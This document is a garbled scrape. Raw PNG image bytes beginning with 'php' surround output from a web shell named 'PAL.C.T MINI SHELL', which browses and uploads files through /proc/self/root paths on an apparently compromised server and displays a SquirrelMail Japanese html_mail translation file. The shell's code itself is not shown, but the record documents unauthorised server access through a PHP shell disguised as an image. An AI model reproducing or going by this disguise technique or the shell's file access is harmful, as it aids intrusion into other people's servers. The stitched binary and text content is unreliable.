php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /proc/self/root/usr/share/squirrelmail/locale/ja_JP/LC_MESSAGES/
upload
files >> //proc/self/root/usr/share/squirrelmail/locale/ja_JP/LC_MESSAGES/html_mail.po

# Japanese (ja_JP) html_mail translation (SquirrelMail plugin)
# Copyright (c) 2005-2009 The SquirrelMail Project Team
# This file is distributed under the same license as the SquirrelMail package.
# Andre Nicholson <andre@neo-anime.org>, 2005.
msgid ""
msgstr ""
"Project-Id-Version: 2.3\n"
"Report-Msgid-Bugs-To: \n"
"POT-Creation-Date: 2005-10-24 21:00+0300\n"
"PO-Revision-Date: 2005-11-07 13:05-0500\n"
"Last-Translator: Andre Nicholson <andre@neo-anime.org>\n"
"Language-Team: Japanese <squirrelmail-i18n@lists.sourceforge.net>\n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=utf-8\n"
"Content-Transfer-Encoding: 8bit\n"

#, php-format
msgid "ERROR (%s): can't load config file"
msgstr "エラー(%s):設定ファイルをロードすることできません"

msgid "HTML"
msgstr "HTML"

msgid ""
"Warning: all special formatting will be lost.  Are you sure you want to send "
"your message in plain text format?"
msgstr ""
"警告。スペシャル出力書式はすべて失われてします。テキスト形式でメッセージを"
"送ってもいいですか。"

msgid "Plain Text"
msgstr "テキスト形式"

msgid "Compose in HTML"
msgstr "HTML で作成する"

#, fuzzy
#, php-format
msgid ""
"FATAL: HTML_Mail plugin must come AFTER %s in plugins array.  Please modify "
"plugin order using conf.pl or by editing config/config.php"
msgstr ""
"決定的:プラグインアレーで必ず HTML_Mail プラグインは %s の後があります。"
"conf.pl を使ってか、config/config.php を編集して、プラグインの順番を修正して"
"ください。"

msgid "Subject"
msgstr "件名"

msgid "From"
msgstr "差出人"

msgid "Default Email Composition Format:"
msgstr "デフォルトのメール構成の形式:"

msgid "Use Emoticons:"
msgstr "エモーティコンを使う:"

msgid "Yes"
msgstr "はい"

msgid "No"
msgstr "いいえ"

msgid "Only Reply In HTML When Viewing HTML Format:"
msgstr "HTML 形式を表示する時にしか HTML で返信する:"

msgid "(Always Attempt To Reply In HTML)"
msgstr "(いつも HTML で返信するようにする)"

msgid "Only Allow Unsafe Images In HTML Replies When Viewing Unsafe Images:"
msgstr ""
"安全でないイメージを表示する時にしか HTML 返事に安全でないイメージを可能に"
"する"

msgid "(Always Include Unsafe Images)"
msgstr "(いつも安全でないイメージを併記する)"

msgid "HTML Editor Type:"
msgstr "HTML エディタの型:"

msgid "FCKeditor"
msgstr "FCKeditor"

msgid "HTMLArea"
msgstr "HTMLArea"
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`